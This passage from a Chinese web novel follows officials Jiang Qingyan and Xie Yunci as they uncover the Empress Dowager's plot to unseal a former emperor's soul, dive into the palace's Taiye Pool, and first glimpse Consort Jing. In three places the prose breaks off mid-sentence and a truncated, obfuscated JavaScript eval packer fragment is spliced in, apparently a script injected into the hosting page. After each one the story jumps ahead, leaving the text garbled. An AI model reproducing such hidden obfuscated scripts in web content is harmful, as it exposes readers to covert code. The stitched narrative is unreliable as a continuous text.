回到刑部,周尚书已经在值房等着了。 “今日之事,你怎么看?”周尚书开门见山。 “太后早有准备,”江清砚说,“或者说,她背后有人指点。那番说辞,推得干干净净,陛下也不能再逼问。” 周尚书点头,神色凝重:“陛下今日,其实是在试探。试探太后的态度,也试探朝中各方势力的反应。你看到没有,太后说话时,有好几位老臣眼神闪烁,显然知道些什么,但不敢说。” “那接下来……” “陛下已经密令龙影卫,暗中调查太后这些年的行踪和接触的人,”周尚书压低声音,“但此事极其敏感,你我在明面上,必须小心行事。太后毕竟是太后,没有铁证,动不得。” 江清砚明白。太后经营数十年,在朝中根基深厚,门生故旧遍布。若没有确凿证据,贸然动手,只会引起朝局动荡。 “孙平案还要继续查吗?”他问。 “查,但换个方向,”周尚书说,“既然太后说责任在下面的人,那我们就查下面的人。工部、内务府、还有那个‘福源商行’,一个一个查。只要抓住一个突破口,就能顺藤摸瓜。” “臣明白。” 周尚书看着他,忽然叹了口气:“江清砚,这条路很险。今日之后,你已成了太后的眼中钉。以后行事,务必小心。” “谢尚书提醒,”江清砚行礼,“但既然选择了这条路,就不会退缩。” 周尚书眼中闪过一丝赞赏,摆摆手让他退下了。 回到自己的值房,江清砚摊开京城地图,看着那个六芒星阵,陷入沉思。太后的话,他一个字都不信。六处寺庙的扩建,太液池的疏浚,时间、地点、阵法都吻合,这绝不是巧合。 但太后为什么要布这个阵?封印的又是什么? 他想起黑衣人的话:“六芒星阵乃封印之阵,非害人之阵。”如果真是封印,那封印的一定是极其危险的东西,以至于要在宫中布阵镇压。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“什么?!”谢云辞猛地抬头,“你疯了?太液池在宫中,戒备森严,一旦被发现,就是死罪!” “但只有亲眼看到池底的情况,才能知道那下面到底有什么,”江清砚说,“而且……我有种感觉,那里藏着一切的答案。” “不行,”谢云辞斩钉截铁,“太危险了。而且就算要探,也该我去。” “你去和我去有什么区别?”江清砚看着他,“我们是一体的,你去冒险,我就能安心吗?” 谢云辞语塞。他明白江清砚的意思,但让他眼睁睁看着江清砚去冒险,他做不到。 两人对视着,谁也不肯让步。 就在这时,门外传来陈七的声音:“大人,宫里来人了,说陛下召您和江郎中即刻入宫。” 皇帝深夜召见? 两人对视一眼,都看到了彼此眼中的惊讶。这个时候召见,定有要事。 匆匆换上官服,两人随内侍入宫。不是去奉天殿,而是直接被带到了御书房。 御书房内,皇帝没有穿龙袍,只着一身明黄色常服,正负手站在窗前。听到脚步声,他转过身,神色是前所未有的凝重。 “臣叩见陛下。”两人行礼。 “平身,”皇帝走到书案后坐下,示意两人也坐,“今日大朝,你们看到了。太后……不简单。” 开门见山。 “陛下,”谢云辞谨慎地问,“您怀疑太后……” “不是怀疑,是确定,”皇帝的声音低沉,“太后与‘烛龙之眼’,确有勾结。但朕没有证据。” 江清砚和谢云辞心中一震。陛下竟然如此直白地说了出来。 “七年前,太液池疏浚,是太后极力主张的,”皇帝继续说,“当时朕刚登基不久,根基未稳,只能答应。但朕留了个心眼,让龙影卫暗中监视。发现工程中确实有蹊跷,但那时……朕动不了她。” 他顿了顿,眼中闪过一丝痛色:“这些年,太后在朝中安插亲信,勾结外臣,甚至……可能与敌国暗通款曲。朕一直在等,等一个能一举扳倒她的机会。” “陛下,”江清砚开口,“六芒星阵,封印的到底是什么?” 皇帝沉默良久,缓缓吐出一个名字:“前朝末代皇帝——永昌帝。” 永昌帝?他不是早在五十年前就死了吗? “永昌帝没有死,”皇帝的声音如同寒冰,“至少,他的‘某种存在’没有死。前朝‘烛龙教’用秘法,将他的魂魄封存在太液池下,以六芒星阵镇压。太后……想解开封印。” “为什么?”谢云辞问。 “因为永昌帝,是太后的祖父,”皇帝看着两人,一字一句,“太后想复辟前朝,让她的孙子——三皇子,成为新的皇帝。” 御书房内,死一般的寂静。 这个真相,比他们想象的更可怕。 56. 第 56 章 第五十六章月下定情 御书房内,烛火明灭。 皇帝的话如同惊雷,炸响在江清砚和谢云辞耳边。前朝末代皇帝永昌帝的魂魄被封在太液池下,太后图谋复辟,想要解开封印——这已经不仅仅是朝堂争斗,而是关乎国本的大事。 “陛下……”谢云辞的声音有些干涩,“您确定吗?” 皇帝从书案抽屉中取出一卷发黄的帛书,展开放在桌上:“这是前朝史官留下的密录。永昌四年,‘烛龙教’教主面圣,称可用秘法助帝王长生。永昌帝心动了,命其施法。但所谓‘长生’,实则是将魂魄剥离肉身,封存于‘圣眼’之中,需以六芒星阵持续镇压,否则魂魄会反噬,化为厉鬼。” 江清砚看着帛书上的记载,字字惊心。上面详细描述了封魂的过程:需要八名童男童女的心头血,需要至阴之地的阵眼,还需要……江谢两家血脉作为钥匙,才能最终完成。 “江谢两家……”他喃喃道。 “没错,”皇帝看着江清砚,“江家的青木生机,谢家的玄铁兵符,不仅是打开‘烛龙眠息之地’的钥匙,也是完成封魂术的关键。前朝灭亡时,永昌帝的魂魄已经封存了一半,但因为江谢两家宁死不交钥匙,仪式未能完成,成了半成品。” 半成品……所以需要持续用六芒星阵镇压,否则魂魄会失控。 “太后怎么知道这些?”谢云辞问。 “太后本姓赵,前朝皇室旁支,”皇帝神色复杂,“她入宫时,朕还年幼,只当她是个普通的妃子。后来她一步步爬上后位,朕才察觉不对。但那时,她已羽翼丰满。” 他顿了顿,继续道:“朕查了多年,才发现她暗中与前朝余孽勾结,收集江谢两家的血脉信息。江家灭门,谢家血案,恐怕都与此有关。” 江清砚的手指骤然收紧。父母的死,果然不是意外。 “所以她要抓我们,不是为了献祭,而是为了用我们的血脉完成封魂术?”谢云辞的声音冰冷。 “对,”皇帝点头,“完整的封魂术需要活着的江谢血脉作为‘引’,将永昌帝的魂魄彻底封入‘圣眼’,然后再用某种仪式转移到新的身体里。那个身体……”他看向两人,“很可能就是三皇子。” 三皇子! 江清砚想起三皇子那双看似温润,实则深不可测的眼睛。如果太后真的计划将永昌帝的魂魄转移到三皇子体内,那三皇子本人知道吗?是自愿,还是被迫? “陛下现在打算怎么做?”江清砚问。 “阵法必须破坏,封印必须加固,”皇帝的眼神锐利,“但不能明着来。太后在朝中势力庞大,一旦撕破脸,可能会逼她铤而走险。所以……需要暗中进行。” “陛下的意思是……” “朕要你们,潜入太液池底,加固封印,并找到‘圣眼’的位置,”皇帝一字一句,“然后,毁掉它。” 毁掉圣眼! 江清砚和谢云辞对视一眼,都看到了彼此眼中的决然。这任务危险至极,但确实只有他们能做——江家的青木生机能感应到封印的力量,谢家的武功能在水下自保,而且他们与“烛龙之眼”交手多次,了解对方的套路。 “臣愿往。”两人同时开口。 皇帝看着他们,眼中闪过一丝欣慰,但更多的是担忧:“此事凶险万分。太液池下有守卫,很可能是被控制的傀儡或水鬼。而且太后那边,随时可能察觉。你们一旦下去,就是九死一生。” “但必须有人去做,”谢云辞道,“陛下,此事交给臣和清砚,最合适。” 皇帝沉默良久,最终点头:“好。朕会安排龙影卫在外围接应。但潜入池底,只能靠你们自己。”他从怀中取出一枚令牌,递给谢云辞,“这是调动宫中暗卫的令牌,危急时刻可用。但记住,不到万不得已,不要暴露。” “臣明白。” “时间紧迫,”皇帝起身,“三日后是月圆之夜,太后很可能会在那时有所动作。你们要在那之前,潜入太液池,加固封印。” “是。” 离开御书房时,已是子夜。宫道上空无一人,只有巡夜侍卫的灯笼在远处晃动。 两人沉默地走着,直到走出宫门,上了马车,谢云辞才开口:“清砚,你怕吗?” 江清砚靠在车厢壁上,看着窗外的夜色:“怕。但有些事,怕也要做。” 谢云辞握住他的手,发现他的指尖冰凉:“如果你不想去,我可以一个人……” “不,”江清砚转头看他,眼神清澈而坚定,“我们说好的,一起。” 谢云辞的心中涌起一股热流。他紧紧握住江清砚的手,仿佛要将自己的力量传递过去。 回到谢府,两人没有立刻休息,而是来到书房,开始制定计划。 太液池在皇宫内苑,要潜入不容易。好在现在是秋天,池水清浅,而且皇帝给了他们宫中地图和暗道的路线。但即使如此,难度依然极大。 “我们需要水靠和换气的工具,”谢云辞指着地图上的一个点,“太液池最深处有三丈,普通人无法长时间潜泳。清砚你的身体……” “我可以,”江清砚说,“青木生机可以让我在水下闭气更久。但我们需要避开守卫。白天池边有宫女太监,晚上有巡逻侍卫。” “那就丑时行动,那时人最困,”谢云辞说,“我会先解决外围的守卫,你在我后面下水。一旦发现不对,立刻上浮,不要管我。” “不行,”江清砚反对,“要下一起下,要上一起上。” 两人又为细节争执了半天,最终各退一步——一起下水,但江清砚必须跟在谢云辞身后三丈,保持距离,以便随时应变。 计划定下时,已是寅时初。 窗外,月已西斜,秋露凝霜。 “睡一会儿吧,”谢云辞看着江清砚眼下的青黑,“明天还要准备。” “嗯。” 两人回到卧房,却都睡不着。江清砚躺在床上,看着帐顶的绣花,脑中不断回想着皇帝的话,回想着父母的脸,回想着密室里的黑暗。 不知过了多久,他听到隔壁房间传来轻微的声响——是谢云辞也睡不着,在屋里踱步。 他起身,披衣出门,轻轻推开谢云辞的房门。 谢云辞正站在窗前,望着窗外的月光。听到声音回头,看到江清砚,眼中闪过一丝惊讶:“怎么还没睡?” “睡不着,”江清砚走到他身边,“你呢?” “一样。” 两人并肩站在窗前,看着窗外庭院。秋月如霜,洒在青石地上,将一切都镀上了一层清冷的光辉。院中那棵老槐树的叶子已经开始泛黄,风一吹,便簌簌落下。 “清砚,”谢云辞忽然开口,“如果……我是说如果,这次我们回不来……” “没有如果,”江清砚打断他,“我们会回来。” “我是认真的,”谢云辞转头看着他,月光下,那张棱角分明的脸显得格外柔和,“有些事情,我想现在说清楚。” 江清砚的心跳漏了一拍。 “从我第一次见你,在破庙里,浑身是血,却还强撑着要保护你的时候,我就知道,你是不一样的,”谢云辞的声音很低,却很清晰,“后来一路同行,看你用毒术救人,看你金殿上舌战群臣,看你为我挡刀……江清砚,我谢云辞这辈子,没这么在意过一个人。” 江清砚的嘴唇微微颤抖,想说些什么,却发不出声音。 “我知道,你背负着血海深仇,我也一样。这条路太难走,太危险,原本不该把你牵扯进来,”谢云辞的声音带着苦涩,“可我自私,我想让你在我身边,想保护你,也想……被你保护。” 他握住江清砚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“青木生机觉醒时,这道疤就出现了,”他低声说,“我一直以为是心疾留下的,直到最近才明白,这是父亲用秘术,将地图的一部分,封印在了我的血脉里。” 所以“烛龙之眼”一直找不到完整的地图,因为最重要的那部分,就藏在江清砚身上,与他的血脉融为一体。 “那另外两份……”谢云辞问。 “父亲那份,可能随着他葬身火海了;母亲那份……”江清砚顿了顿,“我怀疑,在谢家。” 谢云辞的瞳孔骤然收缩。 “谢家血案,可能也是为了找地图,”江清砚看着他,“你父亲和我父亲是至交,我母亲可能将地图托付给了你父亲。所以‘烛龙之眼’在灭江家后,又对谢家下手。” 一切都说得通了。 “所以我们需要找到那两份地图,合三为一,才能知道‘烛龙眠息之地’的确切位置,”谢云辞深吸一口气,“而那里,很可能封印着永昌帝的……本体?” “可能不止,”江清砚摇头,“‘烛龙眠息之地’被江谢两家世代守护,里面封存的东西,可能比永昌帝的魂魄更古老,更可怕。” 两人对视,都感到一股寒意。 前路,比他们想象的更加艰难。 但此刻,月光下,他们相拥而立,心意相通,仿佛有了面对一切的勇气。 “等太液池的事解决后,我们去找地图,”谢云辞握紧江清砚的手,“无论那里有什么,我们都一起面对。” “嗯,一起。” 月已西沉,东方泛起了鱼肚白。 新的一天,即将开始。而等待他们的,是未知的凶险,也是不得不赴的使命。 但至少此刻,他们拥有彼此。 这就够了。 57. 第 57 章 第五十七章联手布局 九月二十二,晨。 谢府书房内,江清砚和谢云辞相对而坐,桌上摊着皇宫的地图和太液池的详细图纸。晨光透过窗纸,将两人的影子拉长在青石地上。 “丑时行动,那时巡夜的侍卫会换班,有半刻钟的空隙,”谢云辞指着地图上的路线,“我们从西华门进入,走御花园的小径,绕过侍卫的巡逻路线,到这里——太液池的西北角。那里有一片假山,可以隐蔽。” 江清砚仔细看着路线,点头:“但丑时池边也会有太监守夜。怎么解决?” “龙影卫会提前在太监的茶水里下药,让他们昏睡两个时辰,”谢云辞说,“但药效只能持续到丑时三刻,我们必须在那个时间前上岸离开。” 时间紧迫。 “水下的情况呢?”江清砚问。 “太液池最深的地方有三丈,池底有淤泥和水草,”谢云辞神色凝重,“最重要的是,池底可能有守卫。陛下说,太后在池中养了一种‘水鬼’——不是真的鬼,而是训练有素的水下杀手,能在水下闭气一刻钟以上。” 一刻钟……足够发动致命袭击了。 “我有办法对付,”江清砚从怀中取出几个小瓷瓶,“这是特制的药粉,入水即溶,能让周围三丈内的人四肢麻痹,持续一盏茶时间。足够我们通过危险区域。” 谢云辞看着他手中的瓷瓶,眼中闪过一丝心疼。江清砚总是这样,默默准备好一切,却从不言说背后的辛苦。 “好,那我们分配任务,”他收回思绪,“我负责解决可能出现的守卫,你负责寻找封印的位置。一旦找到,你用青木生机感应封印的强弱,我负责加固。” “加固封印需要什么?”江清砚问。 谢云辞从怀中取出一枚玉石,通体莹白,温润如脂:“这是陛下给的‘镇魂玉’,能增强封印的力量。但需要以血为引,将玉石嵌入阵眼。” 以血为引…… “用我的血,”江清砚立刻道,“青木生机有净化之效,能增强玉石的力量。” “不行,你身体还没完全恢复,”谢云辞反对,“用我的。” “我的更合适。” 两人又争执起来,最终各退一步——两人的血都用,混合在一起,效果可能更好。 计划定下,接下来是准备工作。 谢云辞去六扇门挑选人手,安排外围接应;江清砚则留在府中,准备水下用的物品:特制的水靠、防水的火折、能发光的夜明珠、还有各种应急的药物。 午时,周尚书突然来访。 “江郎中,这是工部找到的,关于太液池疏浚时埋设石桩的详细记录,”周尚书递上一本册子,“可能对你们有帮助。” 江清砚接过翻看,里面详细记录了每一根石桩的材质、尺寸、埋设深度和方位。他快速计算着,发现这些石桩的排列,确实构成一个复杂的阵法。 “这是……七星镇魂阵?”他辨认出阵法的轮廓。 周尚书点头:“对。但奇怪的是,这个阵法本该是完整的北斗七星形状,但记录里少了一根石桩——天枢位的那根。” 天枢位,北斗七星的第一颗,也是阵法的起始点。少了这一根,阵法就不完整,效力会大打折扣。 “难道是埋设时出了差错?”江清砚猜测。 “或者,”周尚书压低声音,“是有人故意没埋。因为天枢位对应的,正是太液池最深、最中心的位置。那里……可能有什么东西,不能轻易触动。” 江清砚的心沉了下去。池底中心,可能就是“圣眼”所在,或者封印的核心。 “还有件事,”周尚书神色更加凝重,“我查了孙平生前最后接触的人。除了工部的同僚,还有一个……宫里的人。” “谁?” “尚寝局的女官,姓林,是太后的远房侄女,”周尚书说,“孙平死前三天,曾与她私下见过面。而孙平死后第二天,这个林女官就‘病逝’了。” 又是灭口。 “看来太后那边,动作很快,”江清砚合上册子,“周尚书,这几日刑部的事,可能要劳烦您多费心了。我和谢大人……有要事要办。” 周尚书看着他,眼中闪过担忧:“江清砚,我知道你们要做什么。陛下已经跟我说了。此行凶险,务必小心。刑部这边,我会压住所有动静,不让太后的人察觉异常。” “谢尚书。” 送走周尚书后,江清砚继续准备。他将药粉分装,检查水靠的密封性,又将夜明珠用油纸包好,确保水下能发光。 申时,谢云辞回来了,带回了一个人——陈七。 “大人,江郎中,都安排好了,”陈七行礼,“六扇门的兄弟分了四组,分别在皇宫四个方向接应。一旦有变,会制造混乱,掩护你们撤退。” “辛苦了,”谢云辞点头,“记住,除非万不得已,不要暴露身份。” “是。” 陈七退下后,谢云辞看着江清砚准备的东西,忽然道:“清砚,如果……如果这次真的回不来,你有什么遗憾吗?” 江清砚的动作顿了顿,然后继续将药瓶装进防水的皮囊:“有。我还没为父母报仇,还没查清江家灭门的全部真相,还没……”他抬头看向谢云辞,“还没和你一起去江南看烟雨。” 谢云辞的心像是被什么击中了,柔软而酸涩。他走到江清砚身边,握住他的手:“等这件事了结,我们就去江南。我答应你。” “嗯。” 傍晚,两人简单用了晚膳,然后各自休息,养精蓄锐。但江清砚躺在床上,却睡不着。脑中不断回想着计划中的每一个细节,试图找出可能出现的纰漏。 亥时,他起身去书房,想再检查一遍物品。推开门,却看到谢云辞也在里面,正对着一把匕首发呆。 那是一把很旧的匕首,匕身已经磨损,刀柄上缠着褪色的布条。 “这是我父亲留下的,”谢云辞轻声说,“他教我用刀的第一天,给了我这把匕首。他说,刀是凶器,但也能守护。用刀的人,心中要有要守护的东西,刀才不会迷失方向。” 江清砚走到他身边,看着那把匕首:“你父亲是个了不起的人。” “嗯,”谢云辞将匕首收入鞘中,递给江清砚,“这把匕首,你带着。我父亲在天之灵,会保佑你。” 江清砚接过,入手沉甸甸的,不仅是匕首的重量,更是那份心意。 “谢谢。” 两人又在书房坐了一会儿,直到子时将近。 换上水靠,检查装备,一切准备就绪。江清砚将青木玉佩贴身藏好,又将谢云辞给的匕首绑在小腿上。谢云辞则检查了绣春刀和几样暗器。 丑时初,两人悄无声息地离开谢府,融入夜色。 秋夜寒凉,街上空无一人,只有打更的梆子声在远处回荡。两人避开巡夜的士兵,绕到皇宫西侧。西华门外,陈七已经带人等在那里。 “大人,一切正常,”陈七低声道,“龙影卫已经得手,太监都昏睡了。但宫里传来消息,太后今晚……在太液池边的‘观澜亭’设了宴,宴请几位宗室女眷,亥时才散。” 亥时才散?那现在池边可能还有残留的宫女太监。 “无妨,”谢云辞道,“按原计划进行。” 陈七点头,做了个手势,几个黑影迅速散开,消失在宫墙下。片刻后,西华门旁的一扇小门悄无声息地打开了——是龙影卫接应的人。 两人闪身而入,门在身后轻轻关上。 皇宫内苑的夜晚,比外面更加寂静。月光如水,洒在宫道上,两侧的宫灯在夜风中摇曳,投下憧憧鬼影。 按照预定的路线,两人穿过御花园,绕过几处宫殿,终于看到了太液池。 月光下的太液池波光粼粼,如同撒了碎银。池边的观澜亭还亮着几盏灯笼,但已经空无一人。亭边的回廊上,几个太监歪歪斜斜地靠着柱子,显然已经中了迷药。 “快。” 两人迅速潜到池边,藏身在一片假山后。谢云辞先下水,确认安全后,向江清砚招手。 江清砚深吸一口气,跟着下水。秋夜的池水冰冷刺骨,即使穿着水靠,也能感觉到寒意渗透进来。他催动青木生机,暖流在体内流转,驱散了部分寒意。 两人潜入水下,靠着夜明珠的光芒,看清了池底的情况。 太液池底比想象中复杂。不仅有淤泥和水草,还有许多人工放置的巨石,构成了一个迷宫般的结构。那些巨石上,刻着诡异的符文,在夜明珠的照耀下,泛着幽绿的光。 谢云辞打手势,示意跟紧。两人在巨石间穿梭,朝着池心方向前进。 游了约莫十丈,前方突然出现一片开阔地。那里没有巨石,只有平整的石板铺地,石板上刻着一个巨大的阵法——正是七星镇魂阵。 但正如周尚书所说,阵法缺了一角。天枢位的位置,是一个黑洞洞的入口,深不见底。 两人游到入口边,往里看去。入口向下延伸,似乎通往更深处。水从入口流入,形成一个小小的漩涡。 谢云辞示意江清砚留在这里,他先进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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血腥味刺激了水鬼,他们攻势更猛了。 江清砚心急如焚。这样下去,两人都会死在这里。他看向圣眼,又看向永昌帝骸骨心口的那把匕首,脑中灵光一闪。 也许……那把匕首,才是关键! 他不再犹豫,趁着谢云辞挡住攻击的间隙,猛地冲向石台。水鬼想要阻拦,但谢云辞拼死挡住了他们。 江清砚游到石台边,伸手握住那把匕首。入手冰凉,但匕首上传来一股奇异的波动——那是谢家血脉的共鸣! 他用力拔出匕首。 就在匕首离开骸骨的瞬间,整个洞穴剧烈震动起来!圣眼的光芒忽明忽暗,骸骨开始崩解,化为粉末。 而那些水鬼,突然全部停止了动作,如同失去了控制的傀儡,缓缓沉入水底。 成功了? 江清砚握着匕首,还没反应过来,洞穴顶部的石块开始崩塌。巨大的石块落下,激起汹涌的水流。 “快走!”谢云辞游过来,拉住他往出口冲。 两人拼命游出通道,回到七星阵的位置。回头看去,那个入口正在坍塌,很快就会被彻底掩埋。 但危机还没结束。洞穴的坍塌引起了连锁反应,整个池底都在震动。巨石移位,阵法开始崩坏。 “阵法要毁了!”江清砚喊道,“必须加固封印!” 他取出镇魂玉,咬破手指,将血滴在玉石上。谢云辞也咬破手指,两人的血混合在一起,渗入玉石。 玉石发出温润的白光,与池底阵法的幽绿光芒交织。 江清砚将玉石按在天枢位空缺的位置。瞬间,白光暴涨,笼罩了整个阵法。那些崩坏的符文重新亮起,阵法恢复了完整。 震动停止了。 两人浮出水面时,已是精疲力尽。爬上岸,瘫倒在假山后,大口喘息。 远处传来脚步声和呼喊声——是坍塌的动静惊动了侍卫。 “快走。”谢云辞拉起江清砚,两人借着夜色掩护,迅速撤离。 回到谢府时,天已微亮。 书房内,两人相对无言,都还沉浸在刚才的惊险中。 “那把匕首……”谢云辞看着江清砚手中的匕首,“是我谢家的。” “我知道,”江清砚轻声道,“你父亲当年,可能参与了封印永昌帝的行动。这把匕首,就是他留下的。” 谢云辞沉默。父亲从未提过这些,但如今想来,谢家世代镇守北境,恐怕不只是为了戍边。 “圣眼毁了吗?”他问。 “毁了,”江清砚点头,“永昌帝的骸骨也化了。封印已经加固,太后应该无法再动什么手脚了。” 两人松了口气,但心中都明白,这只是一场战役的胜利。太后还在,三皇子还在,“烛龙之眼”还在。 战争,才刚刚开始。 窗外,晨光熹微。 新的一天,新的战斗。 58. 第 58 章 、 第五十八章惊鸿一瞥 九月二十三,晨。 皇宫深处传出消息:太后昨夜突染急病,卧床不起,太医诊治后称是“邪风入体,心神受惊”,需静养月余,期间不见任何人。 朝野震动。 虽然太后久不问政事,但她毕竟是三皇子的生母,在朝中根基深厚。她这一病,许多依附于她的官员都慌了神,纷纷托关系打探消息。 刑部衙门内,江清砚和谢云辞听到这个消息时,正在周尚书的值房议事。 “太后这是……示弱?”周尚书皱眉。 “或者是暂避锋芒,”谢云辞分析,“昨夜太液池的事,她肯定察觉了。圣眼被毁,封印加固,她的计划被打乱,需要时间重新布局。” 江清砚点头:“而且这样一来,她就有了不在场的理由。无论宫中发生什么,都可以推给‘养病’。” “那我们现在该怎么做?”周尚书问。 “继续查,”谢云辞眼神锐利,“太后病了,但她手下的那些人还在。工部、内务府、还有那个‘福源商行’,都要一一清查。只要抓住一个突破口,就能顺藤摸瓜。” 周尚书沉思片刻,看向江清砚:“江郎中,孙平案的证人赵四,现在恢复得怎么样了?” “已经能正常说话了,”江清砚道,“但他很怕,很多事不敢说。” “想办法让他开口,”周尚书神色严肃,“太后这一病,她手下的人可能也会恐慌。这时候最容易找到破绽。” “下官明白。” 离开周尚书的值房,两人回到自己的值房。江清砚开始整理赵四的口供记录,谢云辞则去六扇门调集人手,准备对工部和内务府展开秘密调查。 午时,王书吏送饭进来时,神色有些异常。 “王书吏,有事?”江清砚抬眼看他。 王书吏犹豫了一下,低声道:“江郎中,下官……下官听说了一些事。” “什么事?” “关于太后……宫里有传言,说太后不是生病,而是……遭了反噬,”王书吏的声音压得更低,“据说太后暗中修炼某种邪术,昨夜月圆,正是施法之时,但施法失败,遭到了反噬。” 这传言倒是接近真相。 “你听谁说的?”江清砚问。 “宫里的一个老太监,以前在慈宁宫当差,后来被贬去打扫冷宫了,”王书吏说,“他说太后身边有个姓曹的老太监,这些年一直在帮太后做见不得人的事。昨夜曹太监死了,死状极惨,七窍流血,像是……被什么东西吸干了精气。” 江清砚心中一凛。曹太监,正是太后身边那个每月十五去清风观的人。 “那个老太监现在在哪?” “还在冷宫,”王书吏道,“但他疯疯癫癫的,说话颠三倒四,没人信他。” “带我去见他。” “现在?”王书吏吓了一跳,“江郎中,这……这不合适吧?您是外臣,不能随意进出内宫。” “那就找个合适的理由,”江清砚起身,“就说刑部查案,需要问询宫中旧人。你去找周尚书,让他安排。” 王书吏看着江清砚坚定的眼神,最终点头:“是,下官这就去。” 半个时辰后,手续办妥。江清砚在王书吏的陪同下,进入了皇宫西侧的冷宫区域。 冷宫名副其实,破败、荒凉、死寂。长满青苔的宫墙,脱落了漆皮的宫门,院子里杂草丛生,连鸟都不愿在此停留。 那个老太监住在最角落的一间破屋里。王书吏推开门时,一股霉味扑面而来。屋里昏暗,只有一扇小窗透进些许光线。一个头发花白、衣衫褴褛的老太监蜷缩在墙角,嘴里念念有词。 “李公公,刑部的江郎中来看您了。”王书吏提高声音。 老太监缓缓抬头,浑浊的眼睛看向江清砚,忽然嘿嘿笑起来:“来了……都来了……报应来了……” “李公公,您认识曹公公吗?”江清砚蹲下身,尽量放柔声音。 “曹老狗?”老太监的笑容变得诡异,“死了……都死了……娘娘的债,要还了……” “娘娘?哪个娘娘?” “还能有谁……”老太监的眼神变得惊恐,“那位娘娘啊……她不是人……是鬼……是从地底下爬出来的鬼……” 他忽然抓住江清砚的手,力气大得惊人:“年轻人,听老奴一句劝,离那位娘娘远点……她会吃人的……吃了好多人了……老曹就是被她吃了……” “她怎么吃人的?”江清砚追问。 “每月十五……月圆的时候……”老太监的声音颤抖,“她会去一个地方……带着活人……去了就回不来了……老曹就是去得太多了……被盯上了……” 每月十五,又是月圆之夜。 “那个地方在哪?” “不知道……老奴不知道……”老太监松开手,又蜷缩回去,“老奴只知道……那里有眼睛……好多眼睛……看着你……看着你……” 他越说越混乱,最后开始胡言乱语,显然是神智不清了。 江清砚知道问不出更多,起身准备离开。但就在转身的瞬间,他瞥见老太监破烂的衣袖下,露出的手腕上有一个刺青——一只眼睛的图案! 和“烛龙之眼”的图腾一模一样! 这个老太监,也是“烛龙之眼”的人?或者说……曾经是? 江清砚的心跳加速。但他没有声张,只是对王书吏道:“走吧。” 离开冷宫的路上,王书吏小心翼翼地问:“江郎中,李公公的话……可信吗?” “半真半假,”江清砚说,“但至少证实了一件事——太后确实有问题。” 两人刚走出冷宫区域,迎面走来一队人。为首的是一顶软轿,轿帘低垂,看不清里面的人。但轿旁随行的宫女太监气度不凡,显然轿中人的身份不一般。 王书吏连忙拉着江清砚退到路边,躬身行礼。 软轿经过时,轿帘被风吹起一角。江清砚抬头,正好看到轿中人的侧脸—— 那是一个年约五十的妇人,容貌端庄,眉宇间有股不怒自威的气势。但让江清砚心惊的是,她的眼睛——那双眼睛的瞳孔深处,似乎有极细微的暗红色纹路,如同燃烧的火焰。 妇人似乎察觉到了什么,转头看向江清砚。 四目相对的瞬间,江清砚感到一股寒意从脊背升起。那不是普通的目光,而是一种仿佛能穿透灵魂的审视,冰冷、锐利,如同毒蛇的信子。 仅仅一瞬,轿帘又落下了。软轿继续前行,很快消失在宫道尽头。 “那是……太妃娘娘,”王书吏的声音有些发抖,“是永昌帝的妃子,先帝在位时封的静太妃。先帝驾崩后,她就一直在深宫静修,很少出来。” 永昌帝的妃子? 江清砚的心沉了下去。如果这个静太妃是永昌帝的妃子,那她很可能知道永昌帝魂魄被封的事,甚至可能……参与了当年的封魂术。 而且她眼中的那些暗红色纹路,和“烛龙之眼”信众眼睛发红的情况很像,只是更隐晦。 难道她也是“烛龙之眼”的人? “王书吏,你对这位静太妃了解多少?”江清砚问。 “了解不多,”王书吏摇头,“静太妃深居简出,除了必要的礼仪场合,几乎不出宫门。但宫里有人说,她和太后……关系微妙。” “微妙?” “太后是永昌帝的孙女,静太妃是永昌帝的妃子,按辈分,静太妃是太后的祖母辈,”王书吏压低声音,“但太后掌权后,对这位太妃并不亲近,甚至有些……忌讳。” 忌讳?为什么? 江清砚脑中飞快运转。如果静太妃知道永昌帝魂魄被封的真相,甚至可能掌握着某些太后不知道的秘密,那太后忌讳她就说得通了。 也许,静太妃不是太后的同谋,而是……另一个势力? 回到刑部,江清砚立刻将今日的发现告诉了谢云辞。 “静太妃……”谢云辞沉吟,“我在宫中多年,也听说过这位太妃,但从未见过。她确实深居简出,连每年的宫宴都称病不出。” “但今天她出来了,”江清砚道,“而且特意路过冷宫区域,像是在……观察什么。” “你觉得她是故意让你看见的?” “有可能,”江清砚分析,“她那样的身份,出行路线都是固定的,不会无缘无故经过冷宫。而且我和她对视时,她眼中的神色……像是在确认什么。” 确认江清砚的身份?确认他是否知道些什么? “如果她真的和‘烛龙之眼’有关,那她现在现身,可能意味着……”谢云辞眼中闪过锐利,“太后失势,她要出来收拾残局了。” 两人对视,都明白了事情的严重性。 一个太后已经够棘手了,如果再添一个静太妃,而且可能是更深藏不露的对手,那局势就更加复杂了。 “陛下知道静太妃的事吗?”江清砚问。 “应该知道,但陛下从未提过,”谢云辞道,“可能陛下也有所顾虑。毕竟静太妃是先帝封的,辈分高,没有确凿证据,不好动她。” “那我们……” “暗中调查,”谢云辞决定,“但要比查太后时更小心。这位静太妃隐藏了这么多年,心机绝对不浅。” 接下来的几天,风平浪静。 太后“养病”,闭门不出;静太妃又回到了深宫,再无动静;朝中那些依附太后的官员,也都老实了许多,不敢妄动。 但江清砚和谢云辞知道,这只是暴风雨前的宁静。 九月二十六,周尚书传来消息:工部那个侍郎招了。 在确凿的证据面前,工部侍郎终于松口,承认当年太液池疏浚工程中,他收了曹太监的贿赂,虚报了工程量。多出的款项,确实流向了“福源商行”,用于六处寺庙的扩建。 但他只知道这些,不知道背后的阵法,也不知道太后的真实目的。 “他可能真的不知道更深的内情,”周尚书对江清砚说,“但有了他的口供,我们可以顺藤摸瓜,查‘福源商行’的账目,查出更多的涉案人员。” 